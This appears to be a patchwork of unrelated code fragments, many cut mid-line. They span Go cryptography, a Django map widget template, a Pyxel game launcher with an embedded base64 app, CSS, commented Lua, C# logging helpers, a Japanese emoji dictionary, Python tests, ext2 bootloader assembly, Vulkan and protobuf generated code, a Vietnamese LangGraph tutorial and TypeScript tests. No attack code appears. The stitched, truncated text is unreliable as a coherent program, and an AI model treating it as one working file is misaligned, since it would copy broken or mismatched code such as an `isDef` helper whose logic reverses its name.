	// yr = λ(x1-xr) - y1
	yr.Sub(&p.X, &xr).
		Mul(&yr, &λ).
		Sub(&yr, &p.Y)

	evaluations.R0.Set(&λ)
	evaluations.R1.M


%} hidden{% endif %}>{{ serialized }}</textarea>
    <script>
        {% block base_layer %}
            var base_layer = new ol.layer.Tile({
                source: new ol.source.XYZ({
                    attributions: "NASA Worldview",
                    maxZoom: 8,
                    url: "https://map1{a-c}.vis.earthdata.nasa.gov/wmts-webmerc/" +
                         "BlueMarble_ShadedRelief_Bathymetry/default/%7BTime%7D/" +
                         "GoogleMapsCompatible_Level8/{z}/{y}/{x}.jpg"
                })
            });
        {% endblock %}
        {% block options %}var options = {
            base_layer: base_layer,
            geom_name: '{{ geom_type }}',
            id: '{{ id }}',
            map_id: '{{ id }}_map',
            map_srid: {{ map_srid|unlocalize }},
            name: '{{ name }}'
        };
        {% endblock %}
        var {{ module }} = new MapWidget(options);
    </script>
</div>
<!DOCTYPE html>
<script src="https://cdn.jsdelivr.net/gh/kitao/pyxel/wasm/pyxel.js"></script>
<script>
launchPyxel({ command: "play", name: "3D_Maze_for_html.pyxapp", gamepad: "enabled", packages:"numpy", base64: "UEsDBBQAAAAIAGRdLlrnzfR8EQAAAA8AAAAaAAAAc3JjLy5weXhhcHBfc3RhcnR1cF9zY3JpcHRzLCiIT8svis8oyc3RK6gEAFBLAwQUAAAACADJuypa4gpEo94BAADWAwAACgAAAHNyYy9BcHAucHl1U8tq20AU3esrBq8kEKZkEwh4kU27ysofIJRoHA/IktCM62RXa3ApbcAhrxbaQpNNXuTROiSEpMnH3Nhu/qLzkK2RQ7SQ5nHuueeee0VaSZwylKyv4dBqpHEL0RUcYUT0eV1uXFRnfsryNYkI82jcjgKNXw3jZT/0KPPZNOydOqvLI8taCX1K0WKSLFhIPJVKRX0hOwD+FfgJZL+B30N2A/wQ+GDYO3r6uw3d8/H5/njzI2Rb//Y3oCsWF8CPIbuFD5mlGJZwaxmnVNPKp0MC1kQ2iZizgMY7d88/DwTP8LYnQyagJiarTfYC9Xz6Dbq7JrBUmG2UJMIguwR+JmXzTeCn48/Xo96XXLBBobwUSfoPwx9HIokqUsQMjBpYMw6MGjxPGezZKstAYkXJ/JOq/QKyR5O/nQRCj4b+Ucy/pHFKzej71Wjv0kQHqd+xzZpH/b5YTyCTxgS4UaigOGy42lg3t84pxMrbqna9pkHlq9zrWh5Zviz5WzNnxnbKSEK99wR3vA5JcSP1WxL+1g8pnsLU/FalZrusdYooxnaWXTdJTbfgLUbdfqHSmcmXtiMN0n1wNZ+02bGmVuY9klezztE8Z7GpTjpaxKuuvRpd1U21LPF/2fNzb1wkXs5/UEsDBBQAAAAIAIgCK1pzn2FF5AEAAN8DAAATAAAAc3JjL0FwcF9mb3JfaHRtbC5weXVTy27TQBTd+ytGWdmSFSE2SJWyYAMrVvmAkVuP65H8kmdCYEc8CkKAlIq3BEi0mxYq2kIQqOL1MZck9C+Yhx2PUzELezxz7rnnnntN0yIvOSru3iGJE5V5itgOyQiO8hLHPE0QNYChOvXRkAclr/c0oxyzfJSFJnA3ybeDBDMecNKE3dRnQ3XkODtJwBi6XhRbDpKr1+vpN1QHIF6C+ADVJxA/oPoG4hDEfDE9+vPzKUxOVif7q737UD35u/8YJnJzCuI9VOdwr3I0wy2SbpOSGVq1xjTkMXJpxr0ttHr2/eLtgeRZnE9VSAOKCd2N+SXUxfErmDy3gZ3CXK


Line{ border-top-style:dashed;}
  .MoBodyC .solidLine{ border-top-style:solid;}

/**--Mo_1001 basic setting--**/
.Mo_1001,.Mo_1001 .MoT,.Mo_1001 .MoTL,.Mo_1001 .MoTR,.Mo_1001 .MoTM,.Mo_1001 .MoHead,.Mo_1001 .MoHeadL,.Mo_1001 .MoHeadR,.Mo_1001 .MoHeadM,.Mo_1001 .MoName,.Mo_1001 .MoNameL,.Mo_1001 .MoNameR,.Mo_1001 .MoNameM,.Mo_1001 .MoBody,.Mo_1001 .MoBodyL,.Mo_1001 .MoBodyR,.Mo_1001 .MoBodyM,.Mo_1001 .MoB,.Mo_1001 .MoBL,.Mo_1001 .MoBR,.Mo_1001 .MoBM{background:none; border-width:0px; border-style:none; border-color:none;}
  .Mo_1001{border-width:0px;}
  .Mo_1001 .MoHead{height:35px; line-height:35px; background-repeat:repeat;}
	.Mo_1001 .NameTxt{font-size:14px; padding-left:15px;}
  .Mo_1001 .MoMore{right:10px;}
  .Mo_1001 .MoBody{border-width:1px; border-style:solid;}
/**--Mo_1002 basic setting--**/
.Mo_1002,.Mo_1002 .MoT,.Mo_1002 .MoTL,.Mo_1002 .MoTR,.Mo_1002 .MoTM,.Mo_1002 .MoHead,.Mo_1002 .MoHeadL,.Mo_1002 .MoHeadR,.Mo_1002 .MoHeadM,.Mo_1002 .MoName,.Mo_1002 .MoNameL,.Mo_1002 .MoNameR,.Mo_1002 .MoNameM,.Mo_1002 .MoBody,.Mo_1002 .MoBodyL,.Mo_1002 .MoBodyR,.Mo_1002 .MoBodyM,.Mo_1002 .MoB,.Mo_1002 .MoBL,.Mo_1002 .MoBR,.Mo_1002 .MoBM{background:none; border-width:0px; border-style:none; border-color:none;}
  .Mo_1002{border:0px;}
	.Mo_1002 .MoHead{height:34px; line-height:34px;}
	.Mo_1002 .MoHeadL,.Mo_1002 .MoHeadR{width:10px; background-repeat:no-repeat;}
	.Mo_1002 .MoHeadL{background-position:0px 0px;}
	.Mo_1002 .MoHeadM{background-position:0px -34px; background-repeat:repeat-x;}
	.Mo_1002 .MoHeadR{background-position:0px -68px;}
	.Mo_1002 .NameTxt{font-size:14px; padding-left:0px;}
  .Mo_1002 .MoMore{right:10px;}
  .Mo_1002 .MoBody{border-width:1px 1px 0px; border-style:solid;}
  .Mo_1002 .MoBodyM{}
  .Mo_1002 .MoB{height:5px;display:table; *display:block; }
	.Mo_1002 .MoBL,.Mo_1002 .MoBM,.Mo_1002 .MoBR{ height:5px; display:table-cell;}
	.Mo_1002 .MoBM{background-position:0px -5px; background-repeat:repeat-x;}
	.Mo_1002 .MoBL,.Mo_1002 .MoBR{width:10px; background-repeat:no-repeat;}
	.Mo_1002 .MoBL{background-position:0px 0px;}
	.Mo_1002 .MoBR{background-position:0px -10px;}
/**--Mo_1003 basic setting--**/
.Mo_1003,.Mo_1003 .MoT,.Mo_1003 .MoTL,.Mo_1003 .MoTR,.Mo_1003 .MoTM,.Mo_1003 .MoHead,.Mo_1003 .MoHeadL,.Mo_1003 .MoHeadR,.Mo_1003 .MoHeadM,.Mo_1003 .MoName,.Mo_1003 .MoNameL,.Mo_1003 .MoNameR,.Mo


nt.next
--             end
--         end
--         return head, done
--     else
--         return head, false
--     end
-- end
--
-- registerotffeature {
--     name        = "formatters",
--     description = "hide formatting characters",
--     methods = {
--         base = processformatters,
--         node = processformatters,
--     }
-- }


if verbose logging is enabled.
        /// </summary>
        private void LogVerbose(string message)
        {
            _logger.LogVerbose(message);
        }

        /// <summary>
        /// Log a message if verbose logging is enabled.
        /// </summary>
        private void LogVerbose(string messageFormat, params object[] args)
        {
            _logger.LogVerbose(messageFormat, args);
        }

        /// <summary>
        /// Log a message if information logging is enabled.
        /// </summary>
        private void LogInformation(string message)
        {
            _logger.LogInformation(message);
        }

        /// <summary>
        /// Log a message if information logging is enabled.
        /// </summary>
        private void LogInformation(string messageFormat, params object[] args)
        {
            _logger.LogInformation(messageFormat, args);
        }

        /// <summary>


🔛"],
  'まーしゃる': ["🇲🇭"],
  'まーしゃるしょとうこっき': ["🇲🇭"],
  'まーじゃん': ["🀄"],
  'まーじゃんぱいのちゅう': ["🀄"],
  'まーちん': ["🇸🇽"],
  'みかん': ["🍊"],
  'みぎ': ["🫱","▶","⏯"],
  'みぎうえへかーぶするやじるし': ["⤴"],
  'みぎうえやじるし': ["↗"],
  'みぎしたへかーぶするやじるし': ["⤵"],
  'みぎしたやじるし': ["↘"],
  'みぎて': ["🫱"],
  'みぎにまがったやじるし': ["↪"],
  'みぎほうこう': ["🫸"],
  'みぎむき': ["🏃➡","🏃♀➡","🏃♂➡","🚶➡","🚶♀➡","🚶♂➡","🧎➡","🧎♀➡","🧎♂➡","🧑🦯➡","👩🦯➡","👨🦯➡","🧑🦼➡","👩🦼➡","👨🦼➡","🧑🦽➡","👩🦽➡","👨🦽➡","🤜"],
  'みぎむきさんかく': ["▶"],
  'みぎむきだんつきやじるし': ["↪"],
  'みぎむきのいかりのふきだし': ["🗯"],
  'みぎむきのこぶし': ["🤜"],
  'みぎむきのさんかっけいとにじゅうすいちょくぼう': ["⏯"],
  'みぎむきのにじゅうさんかっけい': ["⏩"],
  'みぎむきのにじゅうさんかっけいとすいちょくぼう': ["⏭"],
  'みぎむきむしめがね': ["🔎"],
  'みぎむきやじるし': ["➡"],
  'みぎやじるし': ["➡"],
  'みぎをおしているて': ["🫸"],
  'みくすくろーす': ["🧑🎄"],
  'みくろねしあ': ["🇫🇲"],
  'みくろねしあこっき': ["🇫🇲"],
  'みくろん': ["🇵🇲"],
  'みざる': ["🙈"],
  'みず': ["🐃","🌊","🥤","🤽♀","🤽","🤽♂","🔫","🚿","♒","🚱","🚾","🚰"],
  'みずあび': ["🧼"],
  'みずがめざ': ["🏺","♒"],
  'みずがめ座': ["🏺","♒"],
  'みずぎ': ["🩱


import math

import numpy as np
import pytest
from sklearn.linear_model import LogisticRegression

from doubleml import DoubleMLData, DoubleMLLPQ
from doubleml.irm.datasets import make_iivm_data
from doubleml.utils import DMLDummyClassifier

from ...tests._utils import draw_smpls

@pytest.fixture(scope="module", params=[1, 3])
def n_rep(request):
    return request.param

@pytest.fixture(scope="module", params=[True, False])
def normalize_ipw(request):
    return request.param

@pytest.fixture(scope="module")
def doubleml_lpq_fixture(n_rep, normalize_ipw):
    ext_predictions = {"d": {}}
    np.random.seed(3141)
    data = make_iivm_data(theta=0.5, n_obs=2000, dim_x=10, alpha_x=1.0, return_type="DataFrame")

    dml_data = DoubleMLData(data, "y", "d", z_cols="z")
    all_smpls = draw_smpls(len(dml_data.y), 5, n_rep=n_rep, groups=dml_data.d)

    kwargs = {
        "obj_dml_data": dml_data,
        "score": "LPQ",
        "n_rep": n_rep,
        "normalize_ipw": normalize_ipw,
        "draw_sample_splitting": False,
    }

    ml_g = LogisticRegression()
    ml_m = LogisticRegression()

    dml_lpq = DoubleMLLPQ(ml_g=ml_g, ml_m=ml_m, **kwargs)
    dml_lpq.set_sample_splitting(all_smpls)

    np.random.seed(3141)
    dml_lpq.fit(store_predictions=True)

    ext_predictions["d"]["ml_m_z"] = dml_lpq.predictions["ml_m_z"][:, :, 0]
    ext_predictions["d"]["ml_m_d_z0"] = dml_lpq.predictions["ml_m_d_z0"][:, :, 0]
    ext_predictions["d"]["ml_m_d_z1"] = dml_lpq.predictions["ml_m_d_z1"][:, :, 0]
    ext_predictions["d"]["ml_g_du_z0"] = dml_lpq.predictions["ml_g_du_z0"][:, :, 0]
    ext_predictions["d"]["ml_g_du_z1"] = dml_lpq.predictions["ml_g_du_z1"][:, :, 0]

    dml_lpq_ext = DoubleMLLPQ(ml_g=DMLDummyClassifier(), ml_m=DMLDummyClassifier(), **kwargs)
    dml_lpq_ext.set_sample_splitting(all_smpls)

    np.random.seed(3141)
    dml_lpq_ext.fit(external_predictions=ext_predictions)

    res_dict = {"coef_normal": dml_lpq.coef.item(), "coef_ext": dml_lpq_ext.coef.item()}

    return res_dict

@pytest.mark.ci
@pytest.mark.filterwarnings("ignore:Mean of empty slice:RuntimeWarning")
def test_doubleml_lpq_coef(doubleml_lpq_fixture):
    assert math.isclose(doubleml_lpq_fixture["coef_normal"], doubleml_lpq_fixture["coef_ext"], rel_tol=1e-9, abs_tol=1e-4)


con:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12m16.28-2.72a.75.75 0 0 0-.018-1.042.75.75 0 0 0-1.042-.018l-5.97 5.97-2.47-2.47a.75.75 0 0 0-1.042.018.75.75 0 0 0-.018 1.042l3 3a.75.75 0 0 0 1.06 0Z"/></svg>');--md-tasklist-icon--checked:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M1 12C1 5.925 5.925 1 12 1s11 4.925 11 11-4.925 11-11 11S1 18.075 1 12m16.28-2.72a.75.75 0 0 0-.018-1.042.75.75 0 0 0-1.042-.018l-5.97 5.97-2.47-2.47a.75.75 0 0 0-1.042.018.75.75 0 0 0-.018 1.042l3 3a.75.75 0 0 0 1.06 0Z"/></svg>')}.md-typeset .task-list-item{list-style-type:none;position:relative}[dir=ltr] .md-typeset .task-list-item [type=checkbox]{left:-2em}[dir=rtl] .md-typeset .task-list-item [type=checkbox]{right:-2em}.md-typeset .task-list-item [type=checkbox]{position:absolute;top:.45em}.md-typeset .task-list-control [type=checkbox]{opacity:0;z-index:-1}[dir=ltr] .md-typeset .task-list-indicator:before{left:-1.5em}[dir=rtl] .md-typeset .task-list-indicator:before{right:-1.5em}.md-typeset .task-list-indicator:before{background-color:var(--md-default-fg-color--lightest);content:"";height:1.25em;-webkit-mask-image:var(--md-tasklist-icon);mask-image:var(--md-tasklist-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:.15em;width:1.25em}.md-typeset [type=checkbox]:checked+.task-list-indicator:before{background-color:#00e676;-webkit-mask-image:var(--md-tasklist-icon--checked);mask-image:var(--md-tasklist-icon--checked)}@media print{.giscus,[id=__comments]{display:none}}:root>*{--md-mermaid-font-family:var(--md-text-font-family),sans-serif;--md-mermaid-edge-color:var(--md-code-fg-color);--md-mermaid-node-bg-color:var(--md-accent-fg-color--transparent);--md-mermaid-node-fg-color:var(--md-accent-fg-color);--md-mermaid-label-bg-color:var(--md-default-bg-color);--md-mermaid-label-fg-color:var(--md-code-fg-color);--md-mermaid-sequence-actor-bg-color:var(--md-mermaid-label-bg-color);--md-mermaid-sequence-actor-fg-color:var(--md-mermaid-label-fg-color);--md-mermaid-sequence-actor-border-color:var(--md-mermaid-node-fg-color);--md-mermaid-sequence-actor-line


PathDocker(t, configFilePath, dockerOpts)

	cleanupFn = func() {
		// Cleanup the ephemeral PATH Docker container
		cleanupPathDocker(t, pool, resource)
		if logOutputFile != "" {
			fmt.Printf("\n%s===== 👀 LOGS 👀 =====%s\n", BOLD_CYAN, RESET)
			fmt.Printf("\n ✍ PATH container output logged to %s ✍ \n\n", logOutputFile)
			fmt.Printf("%s===== 👀 LOGS 👀 =====%s\n\n", BOLD_CYAN, RESET)
		}
	}

	return containerPort, cleanupFn
}

// setupPathDocker sets up and starts a Docker container for the PATH service using dockertest.
//
// Key steps:
// - Builds the container from a specified Dockerfile.
// - Mounts necessary configuration files.
// - Sets environment variables for the container.
// - Exposes required ports and sets extra hosts.
// - Sets up a signal handler to clean up the container on termination signals.
// - Performs a health check to ensure the container is ready for requests.
// - Returns the dockertest pool, resource, and the container port.
func setupPathDocker(
	t *testing.T,
	configFilePath string,
	dockerOpts DockerConfig,
) (*dockertest.Pool, *dockertest.Resource, string, string) {
	t.Helper()

	// Get docker options from the global test options
	logContainer := dockerOpts.DockerLog
	forceRebuild := dockerOpts.ForceRebuildImage

	// eg. {file_path}/path/e2e/.shannon.config.yaml
	configFilePath = filepath.Join(os.Getenv("PWD"), configFilePath)

	// Check if config file exists and exit if it does not
	if _, err := os.Stat(configFilePath); os.IsNotExist(err) {
		t.Fatalf("config file does not exist: %s", configFilePath)
	}

	// eg. {file_path}/path/e2e/config/.shannon.config.yaml:/app/config/.config.yaml
	containerConfigMount := configFilePath + configMountPoint

	// Initialize the dockertest pool
	pool, err := dockertest.NewPool("")
	if err != nil {
		t.Fatalf("Could not construct pool: %s", err)
	}
	pool.MaxWait = time.Duration(maxPathHealthCheckWaitTimeMillisec) * time.Millisecond

	// Check if the image already exists and we're not forcing a rebuild
	imageExists := false
	if !forceRebuild {
		if _, err := pool.Client.InspectImage(imageName); err == nil {
			imageExists = true
			fmt.Println("\n🐳 Using existing Docker image, skipping build...")
			fmt.Printf("  💡 TIP: Set %se2e_load_test_config.e2e_config.docker_config.force_rebuild_image: true%s to rebuild the image if needed 💡\n", CYAN, RESET)
		}
	} else {
		fmt.Println("\n🔄 Force rebuild requested, will build Docker image...")
	}

	// Only build the image if it doesn't exist or force rebuild is set
	if !imageExists || forceRebuild {
		fmt.Println("🏗  Building Docker image...")

		// Build the image and log build output
		buildOptions := docker.BuildImageOptions{
			Name:           imageName,
			ContextDir:     buildContextDir,
			Dockerfile:     dockerfileName,
			OutputStream:   os.Stdout,
			SuppressOutput: false,
			NoCache:        forceRebuild, // If force rebuilding, also disable cache
		}
		if err := pool.Client.BuildImage(buildOptions); err != nil {
			t.Fatalf("could not build path image: %s", err)
		}
		fmt.Println("🐳 Docker image built successfully!")
	}


esi
	movl $ext2_block_group_descriptor_buffer, %edi
	movw $EXT2_BGD_SIZE, %cx
	rep movsb

	popal
	ret

# reads inode into ext2_inode_buffer
#	eax:	ino
ext2_read_inode:
	pushal

	# eax := block_group = (ino - 1) / s_inodes_per_group
	# ebx := inode_index = (ino - 1) % s_inodes_per_group
	xorl %edx, %edx
	decl %eax
	divl (ext2_superblock_buffer + s_inodes_per_group)
	movl %edx, %ebx

	call ext2_read_block_group_descriptor

	# eax := inode_table_block  := (inode_index * inode_size) / block_size
	# ebx := inode_table_offset := (inode_index * inode_size) % block_size
	movl %ebx, %eax
	mull (ext2_inode_size)
	divl (ext2_block_size)
	movl %edx, %ebx

	# eax := filesystem_block := eax + bg_inode_table
	addl (ext2_block_group_descriptor_buffer + bg_inode_table), %eax

	movb (ext2_drive_number), %dl
	call ext2_read_block

	# copy inode memory
	  # esi := inode_table_offset + ext2_block_buffer := edx + ext2_block_buffer
	movl %ebx, %esi
	addl $ext2_block_buffer, %esi
	  # edi := ext2_inode_buffer
	movl $ext2_inode_buffer, %edi
	  # ecx := inode_size
	movl (ext2_inode_size), %ecx
	rep movsb

	# reset indirect cache to zero
	movl $0, (ext2_inode_indirect_number)

 .ext2_read_inode_done:
	popal
	ret

# gets block index from n'th data block in inode stored in ext2_inode_buffer
#	eax:	data block index
# return:
#	eax:	block index
ext2_data_block_index:
	pushl %ebx
	pushl %ecx
	pushl %edx
	pushl %esi
	pushl %edi

	# ebx := max_data_blocks := (file_size + block_size - 1) / block_size
	#                        := (i_size + ext2_block_size - 1) >> ext2_block_shift
	# cl  := ext2_block_shift
	movl (ext2_inode_buffer + i_size), %ebx
	addl (ext2_block_size), %ebx
	decl %ebx
	movb (ext2_block_shift), %cl
	shrl %cl, %ebx

	# verify data block is within bounds
	cmpl %ebx, %eax
	jae .ext2_data_block_index_out_of_bounds

	# check if this is direct block access
	cmpl $12, %eax
	jb .ext2_data_block_index_direct
	subl $12, %eax

	# cl  := indices_per_block_shift := ext2_block_shift - 2
	# ebx := comp
	subb $2, %cl
	movl $1, %ebx
	shll %cl, %ebx

	# check if this is singly indirect block access
	cmpl %ebx, %eax
	jb .ext2_data_block_index_singly_indirect
	subl %ebx, %eax
	shll %cl, %ebx

	# check if this is doubly indirect block access
	cmpl %ebx, %eax
	jb .ext2_data_block_index_doubly_indirect
	subl %ebx, %eax
	shll %cl, %ebx

	# check if this is tr


_MULTI_DRAW_FEATURES_EXTSTRUCTURE_TYPE_PHYSICAL_DEVICE_MULTI_DRAW_PROPERTIES_EXTSTRUCTURE_TYPE_PHYSICAL_DEVICE_BORDER_COLOR_SWIZZLE_FEATURES_EXTSTRUCTURE_TYPE_SAMPLER_BORDER_COLOR_COMPONENT_MAPPING_CREATE_INFO_EXTSTRUCTURE_TYPE_PHYSICAL_DEVICE_PAGEABLE_DEVICE_LOCAL_MEMORY_FEATURES_EXTSTRUCTURE_TYPE_PHYSICAL_DEVICE_MAINTENANCE_4_FEATURES_KHRSTRUCTURE_TYPE_PHYSICAL_DEVICE_MAINTENANCE_4_PROPERTIES_KHRSTRUCTURE_TYPE_DEVICE_BUFFER_MEMORY_REQUIREMENTS_KHRSTRUCTURE_TYPE_DEVICE_IMAGE_MEMORY_REQUIREMENTS_KHRSTRUCTURE_TYPE_PHYSICAL_DEVICE_FRAGMENT_DENSITY_MAP_OFFSET_FEATURES_QCOMSTRUCTURE_TYPE_PHYSICAL_DEVICE_FRAGMENT_DENSITY_MAP_OFFSET_PROPERTIES_QCOMSTRUCTURE_TYPE_SUBPASS_FRAGMENT_DENSITY_MAP_OFFSET_END_INFO_QCOMSTRUCTURE_TYPE_PHYSICAL_DEVICE_LINEAR_COLOR_ATTACHMENT_FEATURES_NV"

var _StructureType_map = map[StructureType]string{
	0:          _StructureType_name[0:31],
	1:          _StructureType_name[31:66],
	2:          _StructureType_name[66:105],
	3:          _StructureType_name[105:138],
	4:          _StructureType_name[138:164],
	5:          _StructureType_name[164:199],
	6:          _StructureType_name[199:233],
	7:          _StructureType_name[233:264],
	8:          _StructureType_name[264:296],
	9:          _StructureType_name[296:332],
	10:         _StructureType_name[332:364],
	11:         _StructureType_name[364:401],
	12:         _StructureType_name[401:434],
	13:         _StructureType_name[434:472],
	14:         _StructureType_name[472:504],
	15:         _StructureType_name[504:541],
	16:         _StructureType_name[541:581],
	17:         _StructureType_name[581:622],
	18:         _StructureType_name[622:670],
	19:         _StructureType_name[670:724],
	20:         _StructureType_name[724:780],
	21:         _StructureType_name[780:834],
	22:         _StructureType_name[834:884],
	23:         _StructureType_name[884:939],
	24:         _StructureType_name[939:992],
	25:         _StructureType_name[992:1047],
	26:         _StructureType_name[1047:1100],
	27:         _StructureType_name[1100:1149],
	28:         _StructureType_name[1149:1193],
	29:         _StructureType_name[1193:1236],
	30:         _StructureType_name[1236:1278],
	31:         _StructureType_name[1278:1312],
	32:         _StructureType_name[1312:1360],
	33:         _StructureType_name[1360:1402],
	34:         _StructureType_name[1402:1445],
	35:         _StructureType_name[1445:1480],
	36:         _StructureType_name[1480:1514],
	37:         _StructureType_name[1514:1552],
	38:


TES\020\234\262\271\342\001\022\035\n"
          + "\025NVIDIA_A100_80GB_GPUS\020\310\350\307\210\001\022\030\n"
          + "\020NVIDIA_A100_GPUS\020\222\200\337\360\001\022\026\n"
          + "\017NVIDIA_K80_GPUS\020\207\354\222N\022\026\n"
          + "\016NVIDIA_L4_GPUS\020\272\315\310\352\001\022\027\n"
          + "\020NVIDIA_P100_GPUS\020\241\202\351p\022\033\n"
          + "\024NVIDIA_P100_VWS_GPUS\020\216\335\203f\022\026\n"
          + "\016NVIDIA_P4_GPUS\020\276\247\254\207\001\022\032\n"
          + "\022NVIDIA_P4_VWS_GPUS\020\253\325\364\373\001\022\025\n"
          + "\016NVIDIA_T4_GPUS\020\302\201\220$\022\032\n"
          + "\022NVIDIA_T4_VWS_GPUS\020\257\353\277\230\001\022\027\n"
          + "\020NVIDIA_V100_GPUS\020\247\266\323=\022\030\n"
          + "\021PACKET_MIRRORINGS\020\247\352\266\007\022(\n"
          + "!PD_EXTREME_TOTAL_PROVISIONED_IOPS\020\355\326\227!\022\027\n"
          + "\020PREEMPTIBLE_CPUS\020\311\215\343w\022\037\n"
          + "\030PREEMPTIBLE_LOCAL_SSD_GB\020\210\223\257|\022(\n"
          + "!PREEMPTIBLE_NVIDIA_A100_80GB_GPUS\020\212\352\271H\022#\n"
          + "\034PREEMPTIBLE_NVIDIA_A100_GPUS\020\220\234\351 \022$\n"
          + "\034PREEMPTIBLE_NVIDIA_H100_GPUS\020\227\256\345\217\001\022#\n"
          + "\033PREEMPTIBLE_NVIDIA_K80_GPUS\020\311\340\345\262\001\022!\n"
          + "\032PREEMPTIBLE_NVIDIA_L4_GPUS\020\270\270\360/\022$\n"
          + "\034PREEMPTIBLE_NVIDIA_P100_GPUS\020\237\236\363\240\001\022(\n"
          + " PREEMPTIBLE_NVIDIA_P100_VWS_GPUS\020\214\233\301\225\001\022\"\n"
          + "\032PREEMPTIBLE_NVIDIA_P4_GPUS\020\274\222\324\314\001\022%\n"
          + "\036PREEMPTIBLE_NVIDIA_P4_VWS_GPUS\020\251\342\320x\022!\n"
          + "\032PREEMPTIBLE_NVIDIA_T4_GPUS\020\300\354\267i\022%\n"
          + "\036PREEMPTIBLE_NVIDIA_T4_VWS_GPUS\020\255\370\233\025\022#\n"
          + "\034PREEMPTIBLE_NVIDIA_V100_GPUS\020\245\322\335m\022%\n"
          + "\036PREEMPTIBLE_TPU_LITE_DEVICE_V5\020\373\221\214S\022\'\n"
          + " PREEMPTIBLE_TPU_LITE_PODSLICE_V5\020\304\221\3055\022#\n"
          + "\033PREEMPTIBLE_TPU_PODSLICE_V4\020\214\374\364\312\001\022=\n"
          + "6PSC_IL


ern ShellClassRec shellClassRec;
WidgetClass shellWidgetClass = (WidgetClass) &shellClassRec;

extern OverrideShellClassRec overrideShellClassRec;
WidgetClass overrideShellWidgetClass = (WidgetClass) &overrideShellClassRec;

extern WMShellClassRec wmShellClassRec;
WidgetClass wmShellWidgetClass = (WidgetClass) &wmShellClassRec;

extern TransientShellClassRec transientShellClassRec;
WidgetClass transientShellWidgetClass = (WidgetClass) &transientShellClassRec;

extern TopLevelShellClassRec topLevelShellClassRec;
WidgetClass topLevelShellWidgetClass = (WidgetClass) &topLevelShellClassRec;

extern ApplicationShellClassRec applicationShellClassRec;
WidgetClass applicationShellWidgetClass = (WidgetClass) &applicationShellClassRec;

#endif /* SUNSHLIB */


 x: x.content.strip())
    res = rewriter_chain.invoke({
        "question": q
    })
    iters = state.get("iterations", 0) + 1
    return {"rewritten": res, "iterations": iters}
```
* Tạo graph:
```python
# ----- Build graph -----
def build_graph(max_iters: int = 2):
    sg = StateGraph(QAState)

    sg.add_node("retrieve", retrieve_node)
    sg.add_node("grade", grade_node)
    sg.add_node("answer", answer_node)
    sg.add_node("judge", judge_node)
    sg.add_node("rewrite_query", rewrite_node)

    sg.add_edge(START, "retrieve")
    sg.add_edge("retrieve", "grade")
    sg.add_edge("grade", "answer")
    sg.add_edge("answer", "judge")

    def should_retry(state: QAState) -> Literal["end", "rewrite"]:
        if state.get("verdict") == "good":
            return "end"
        if state.get("iterations", 0) >= max_iters:
            return "end"
        return "rewrite"

    sg.add_conditional_edges(
        "judge",
        should_retry,
        {
            "end": END,  # Kết thúc
            "rewrite": "rewrite_query"
        }
    )
    sg.add_edge("rewrite_query", "retrieve")

    # Debug đơn giản với MemorySaver
    memory = MemorySaver()
    app = sg.compile(checkpointer=memory)

    return app
```
* Tạo lệnh commands/qa_graph.py để chạy các agents này:
```python
class Command(BaseCommand):
    help = "Generate a QA graph from the database."

    def add_arguments(self, parser):
        parser.add_argument("--q", required=True, help="Câu hỏi")
        parser.add_argument("--k", type=int, default=TOP_K, help="số đoạn lấy ở retriever")
        parser.add_argument("--max_iters", type=int, default=2, help="số vòng tối đa")

    def handle(self, *args, **opts):
        q = opts["q"]
        k = opts["k"]
        max_iters = opts["max_iters"]

        app, memory = build_graph(max_iters)

        state = {
            "question": q,
            "k": k,
            "iterations": 0
        }

        tid = "cli-" + hashlib.md5(q.encode("utf-8")).hexdigest()[:8]
        cfg = {
            "configurable":
                {
                    "thread_id": tid,
                }
        }

        final = app.invoke(state, config=cfg)
        print("[INVOKE] DONE")
        print(f"Memory:")
        checkpoints = list(memory.list(cfg))
        for cp in checkpoints:
            print(cp)
        print()

        answer = final.get("answer", "").strip()
        verdict = f


ht of object when input is an object of Rights', () => {
        expect(sequenceObject<any, { x: number; y: number; z: number }>({
          x: new Right(5),
          y: new Right(4),
          z: new Right(3),
        })).toEqual(new Right<any, { x: number; y: number; z: number }>({
          x: 5,
          y: 4,
          z: 3,
        }));

        expect(sequenceObject<any, { name: string; footSize: number; address: string }>({
          name: new Right('Junyoung Clare Jang'),
          footSize: new Right(4000),
          address: new Right('Somewhere near heaven'),
        })).toEqual(new Right<any, { name: string; footSize: number; address: string }>({
          name: 'Junyoung Clare Jang',
          footSize: 4000,
          address: 'Somewhere near heaven',
        }));
      });

      it('should return a Left of first Left when input includes more than one Lefts', () => {
        expect(sequenceObject({
          world: new Right<string, string>('is'),
          mine: new Left<string, any>('sing'),
        })).toEqual(new Left<string, any>('sing'));
      });
    });

    describe('sequenceArray', () => {
      const sequenceArray = Either.sequenceArray;

      it('should return a Right of array when input is an array of Rights', () => {
        expect(sequenceArray<any, number | string>([
          new Right(1),
          new Right(2),
          new Right('a'),
        ])).toEqual(new Right<any, (number | string)[]>([
          1,
          2,
          'a',
        ]));

        expect(sequenceArray<any, { x: number } | RegExp>([
          new Right({ x: 4 }),
          new Right(/ab*/),
        ])).toEqual(new Right<any, ({ x: number } | RegExp)[]>([
          { x: 4 },
          /ab*/,
        ]));
      });

      it('should return a Left of first Left when input includes more than one Lefts', () => {
        expect(sequenceArray<string, number>([
          new Right(4),
          new Right(54),
          new Left('Too small'),
          new Right(1),
        ])).toEqual(new Left<string, number>('Too small'));
      });
    });
  });
});
export function getType(source: any): string {
  return Object.prototype.toString.call(source).slice("[object ".length, -1);
}

export function isArray(arr: any): boolean {
  return getType(arr) === "Array";
}

export function isString(arr: any): boolean {
  return getType(arr) === "String";
}

export function isFunction(arr: any): boolean {
  return getType(arr) === "Function";
}

export function isDef(inParam: any): Boolean {
  return inParam === undefined || inParam === null;
}

export function noop(): void {}

type uni = string | number;
type mutiArray = uni[];

export function get(
  source: any,
  path: uni | mutiArray,
  alterValue?: any,
  judgeFn?: (value: any) => boolean // get策略
) {
  if (isDef(source)) return source;
  let pathResolve: string[] = [];
  if (isString(path)) {
    pathResolve = (path as string).split(".");
  } else if (isArray(path)) {
